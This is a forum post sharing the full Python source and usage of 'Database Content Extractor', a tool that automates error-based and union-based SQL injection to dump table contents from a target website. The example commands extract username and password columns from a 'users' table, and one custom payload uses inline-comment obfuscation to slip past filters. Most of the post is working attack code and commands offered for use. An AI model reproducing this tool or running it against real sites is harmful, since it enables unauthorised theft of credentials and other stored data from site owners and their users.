[Python] Database Content Extractor

RogueCoder · 10-10-2013, 02:39 PM

Database Content Extractor

So this tool has just been hanging around untouched on my computer for a little while, so last night I decided to rewrite it and make it much more user friendly but without making it skid friendly Smile

My idea was to make a tool that is good for people who actually knows what they are doing, but just need to increase the efficiency of their work.

GitHub: https://github.com/oaass/Database-Content-Extractor

Usage

Quote:dbce.py [-h] -u URL -T TABLE -C COLUMNS [-o OUTFILE] [-q] [-iF FORMAT] [-iM METHOD] [-cC #] [-iP #] [-pP PP]

Options

Quote:-h, --help show this help message and exit
-u URL Target URL
-T TABLE Handles anything else between FROM and LIMIT
-C COLUMNS Comma separated string of the columns to extract values from
-o OUTFILE Output file
-q Quiet mode. No extracted data will be displayed in the console
-iF FORMAT Injection format
-iM METHOD Injection method
-cC # Column count for union injection
-iP # Injection point when using union
-pP PP Prepend to the payload
-cP PAYLOAD Custom payload
--match REGEX Custom regular expression pattern for matching when using custom paylad

Examples

UNION injection with 5 columns injecting into column 2

Code:
python3 dbce.py -u http://target/?id=0 -T users -C username,password -iM union -cC 5 -iP 2

ERROR based injection

Code:
python3 dbce.py -u http://target/?id=0 -T users -C username,password

Dump to file
[/code]python3 dbce.py -u http://target/?id=0 -T users -C username,password -o dump.txt[/code]

Dump to file in quiet mode (No extracted data is printed to the console)

Code:
python3 dbce.py -u http://target/?id=0 -T users -C username,password -o dump.txt -q

Add WHERE clause (Extracting all tables and columns in current schema)

Code:
python3 dbce.py -u http://target/?id=0 -T "information_schema.columns WHERE table_schema=database()" -C table_name,columns_name

Custom payload and match pattern
Important: Notice how the custom payload is inside single quotes.

Code:
python3 dbce.py -u http://target/?id=0 -T "users" -C username,password -cP '/*!UnIOn*//*!SelECT*/1,concat(0x7e,concat_ws(0x3a,%s),0x7e),3/*!fRoM*/%s/*!LimIT*/%d,1-- -' --match "~([^\~]+)"

The Source

Code:
#!/usr/bin/python

import sys, urllib3, argparse, re, time

# Generate payload
def makePayload(table, columns, offset, format, prepend):
    # Add single, double or no quote
    payload = "'" if format == 'single' else '"' if format == 'double' else '' if format == 'integer' else "'"

    # Prepend custom payload
    if prepend is not '':
        payload += prepend.replace(' ', '+')

    # Use predefined payloads
    if custompayload == False:
        # Error based injection payload
        if method == 'error':
            payload += " OR 1 GROUP BY CONCAT((SELECT CONCAT(0x3c647164756d703e,CONCAT_WS(0x3a,%s),0x3c2f647164756d703e) FROM %s LIMIT %s,1),0x00,CEIL(RAND(0)*2)) HAVING MIN(0) -- -" % (columns,table,offset)

        # Union based injection payload
        elif method == 'union':
            # Exit with error if column count is zero
            if colcount == 0:
                sys.exit('Unable to use UNION injection with 0 columns')

            # Exit with error if injection point is zero
            if injectpoint == 0:
                sys.exit('Unable to use UNION injection with no injection point')

            # Exit with error if injection point is outside the column count range
            if injectpoint not in range(1,colcount):
                sys.exit('Injection point must be between 1 and %d'%colcount)

            # Generate the payload
            payload += ' UNION SELECT '
            for x in range(1,(colcount+1)):
                if x == injectpoint:
                    payload += '(concat(0x3c647164756d703e,concat_ws(0x3a,%s),0x3c2f647164756d703e)),'%columns
                    x += 1
                elif x == colcount:
                    payload += 'NULL'
                else:
                    payload += 'NULL,'
            payload += " FROM %s LIMIT %d,1 -- -"%(table,offset)

    # Use custom payload set by -cP option
    else:
        payload += custompayload%(columns,table,offset)

    return payload.replace(' ', '+')

# Send payload to target
def sendRequest(target, payload):
    http = urllib3.PoolManager()
    return http.request('GET', target + payload)

# Parse response to look for extracted data
def parseResponse(response, pattern):
    return re.search(pattern, response.data)

# Parse arguments
def parseArgs():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", metavar="URL", type=str, help="Target URL", required=True)
    parser.add_argument("-T", metavar="TABLE", type=str, help="Handles anything else between FROM and LIMIT")
    parser.add_argument("-C", metavar="COLUMNS", type=str, help="Comma separated string of the columns to extract values from")
    parser.add_argument("-o", metavar="OUTFILE", type=str, help="Output file")
    parser.add_argument("-q", action="store_true", help="Quiet mode. No extracted data will be displayed in the console")
    parser.add_argument("-iF", metavar="FORMAT", type=str, help="Injection format", choices=['single','double','integer'], default="single")
    parser.add_argument("-iM", metavar="METHOD", type=str, help="Injection method", choices=['error','union'], default="error")
    parser.add_argument("-cC", metavar="#", type=int, help="Column count for union injection")
    parser.add_argument("-iP", metavar="#", type=int, help="Injection point when using union")

    parser.add_argument("-pP", type=str, help="Prepend to the payload")
    parser.add_argument("-cP", metavar="PAYLOAD", type=str, help="Custom payload")
    parser.add_argument("--match", metavar="REGEX", type=str, help="Custom regular expression pattern for matching when using custom paylad")

    return parser.parse_args()

# Print banner to console
def banner():
    print("================================================")
    print("= Database Content Extractor v1.0              =")
    print("= by RogueCoder                                =")
    print("================================================")
    print("")
    print("Target     : %s" % target)
    print("From       : %s" % table)
    print("Columns    : %s" % columns)
    if custompayload is not False:
        print("Method     : Custom")
    elif method == 'union':
        print("Method     : %s (Columns: %d / Injection point: %d)"%(method,colcount,injectpoint))
    else:
        print("Method     : %s" % method)
    print("Format     : %s" % format.capitalize())
    if prepend is not '':
        print("Prepending : %s" % prepend)
    print("Payload    : %s" % makePayload(table, columns, 0, format, prepend))
    print("Matching   : %s" % pattern.decode('utf-8'))
    print("")
    print("================================================")
    print("")

# Run process
def run():
    x = 1
    i = 0
    while True:
        try:
            # Generate payload
            payload = makePayload(table, columns, i, format, prepend)

            # Get payload response
            response = sendRequest(target, payload)

            # Look for extracted data
            match = parseResponse(response, pattern)

            if match:
                # Get extracted data
                output = match.group(1).decode("utf-8")

                # Append data to list if we're writing file
                if outfile is not False:
                    tofile.append(output)

                # Do not print data if quiet mode is enabled
                if quiet is False:
                    print(output)

                elif quiet is True:
                    print("{0}\r".format("Quiet mode enabled. Extracting rows... %s" % str(i+1)), end="")
            else:
                if quiet is True:
                    print("{0}\r".format("Quiet mode enabled. Extracting rows... Done!", end=""))
                break
            i += 1
        except KeyboardInterrupt:
            print("\nProcess aborted by user\n");
            sys.exit(1)

    if (i > 0):
        # Write list of extracted data to file
        if outfile is not False:
             f = open(outfile, 'w')
             f.write("\n".join(tofile))
             f.close()
        print("")
        print("Successfully extracted %s results in %.2f seconds" % (i, (time.time()-start)))
    else:
        print("Unable to grab any data")

if __name__ == "__main__":
    start = time.time()

    args = parseArgs()

    # Set variables from provided options
    target = args.u
    table = args.T
    columns = args.C
    format = args.iF
    method = args.iM

    outfile = args.o if args.o else False
    quiet = True if args.q else False
    colcount = args.cC if args.cC else 0
    injectpoint = args.iP if args.iP else 0
    prepend = args.pP if args.pP else ''
    custompayload = args.cP if args.cP else False
    pattern = bytes(args.match, 'utf-8') if args.match else b'<dqdump>([^<]+)'

    # Prepare list if outfile is provided
    if outfile is not False:
        tofile = []

    banner()
    run()

RogueCoder · 10-10-2013, 02:39 PM